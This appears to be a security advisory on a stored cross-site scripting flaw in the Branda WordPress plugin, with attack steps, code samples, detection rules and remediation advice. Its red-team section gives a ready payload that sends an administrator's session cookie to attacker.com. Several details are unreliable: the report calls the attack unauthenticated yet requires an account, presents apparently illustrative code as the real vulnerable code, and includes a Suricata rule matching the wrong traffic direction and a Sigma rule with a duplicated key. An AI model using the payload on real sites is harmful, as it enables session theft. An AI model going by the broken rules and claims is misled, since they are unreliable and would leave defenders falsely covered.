CVE-2024-37239

Executive Summary

CVE-2024-37239 is a stored Cross-Site Scripting (XSS) vulnerability in the WPMU DEV Branda WordPress plugin, specifically within the branda-white-labeling component. This flaw allows an unauthenticated attacker to inject arbitrary web scripts or HTML into the WordPress admin dashboard, which will execute whenever a logged-in administrator views the affected page. The vulnerability affects all versions of Branda up to and including 3.4.17. As of this report, no official patch has been released by the vendor, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time, but the risk remains significant for targeted attacks against WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Branda plugin is distributed via the official WordPress plugin repository and WPMU DEV’s own platform. Users should verify the integrity of their plugin files and monitor for any unauthorized modifications. Since no patch is available, the supply chain risk is elevated; administrators must consider disabling or removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link or visit a malicious page
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via XSS (e.g., session hijacking, forced actions) elevate the real-world risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability resides in the branda-white-labeling module of the Branda plugin. This module is designed to allow administrators to customize the WordPress admin interface (e.g., login screen, dashboard branding). The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the admin panel.

Attack Flow:

1. An attacker identifies a WordPress site running Branda <= 3.4.17.
2. The attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via an input field that is not sanitized (e.g., custom CSS/JS fields, branding text).
3. The payload is stored in the WordPress database.
4. When an administrator accesses the affected admin page (e.g., Branda settings), the payload is rendered without proper escaping, executing the attacker’s script.
5. The script can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: The plugin uses echo or _e() functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (Branda <= 3.4.17):

// In a settings page rendering function
echo "<div class='branda-custom-css'>" . $custom_css . "</div>";

Here, $custom_css is directly output without sanitization.

Patched Code (Hypothetical):

// Properly escaped output
echo "<div class='branda-custom-css'>" . esc_html( $custom_css ) . "</div>";

Or using wp_kses_post() for rich content:

echo "<div class='branda-custom-css'>" . wp_kses_post( $custom_css ) . "</div>";

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Branda plugin version <= 3.4.17.
• Access to a non-privileged user account (or ability to submit data via unauthenticated endpoints if any exist).

Exploitation Steps:

1. Navigate to the Branda settings page (e.g., /wp-admin/admin.php?page=branda).
2. Locate an input field that accepts custom CSS, JavaScript, or branding text (e.g., "Custom Login CSS").
3. Inject a payload such as:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. When an admin visits the same page, the script executes and exfiltrates the admin’s session cookie.

Note: No public exploit code is available; this is a theoretical attack path.

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block common XSS payloads in POST requests to /wp-admin/admin-ajax.php or Branda-specific endpoints.
• Input Validation: Ensure all user inputs are sanitized using WordPress functions like sanitize_text_field() and wp_kses().
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts:

  Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
  

• Monitor Logs: Watch for unusual POST requests to Branda settings pages and unexpected script execution in admin sessions.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available; plugin files may be modified)
• Suspicious Database Entries: Look for wp_options or wp_postmeta entries containing <script> tags or base64-encoded payloads.
• Network Traffic: Outbound connections to unknown domains from the WordPress admin dashboard.
• Log Entries: Repeated access to /wp-admin/admin.php?page=branda from non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2024_37239_Branda_XSS {
    meta:
        description = "Detects potential XSS payloads in Branda plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37239"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $branda_path = /branda-white-labeling/
    condition:
        $branda_path and $xss_payload
}

Sigma Rule

title: CVE-2024-37239 - Stored XSS in Branda Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Branda plugin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'page=branda'
        cs-uri-query|contains: 'branda-white-labeling'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate admin use of JavaScript in custom CSS fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37239 - Branda XSS Payload in POST"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=branda"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Branda plugin until a patch is released.
2. Remove or sanitize any existing stored XSS payloads from the database (check wp_options and wp_postmeta).
3. Implement a Web Application Firewall (WAF) with rules to block XSS attempts.

Long-Term Fix:

• The vendor must release a patched version that properly escapes all user inputs using esc_html(), esc_attr(), or wp_kses_post().
• Users should update to the latest version once available.

Workaround:

• If the plugin cannot be disabled, restrict access to the Branda settings page to only trusted administrators using role-based capabilities.

Valters IT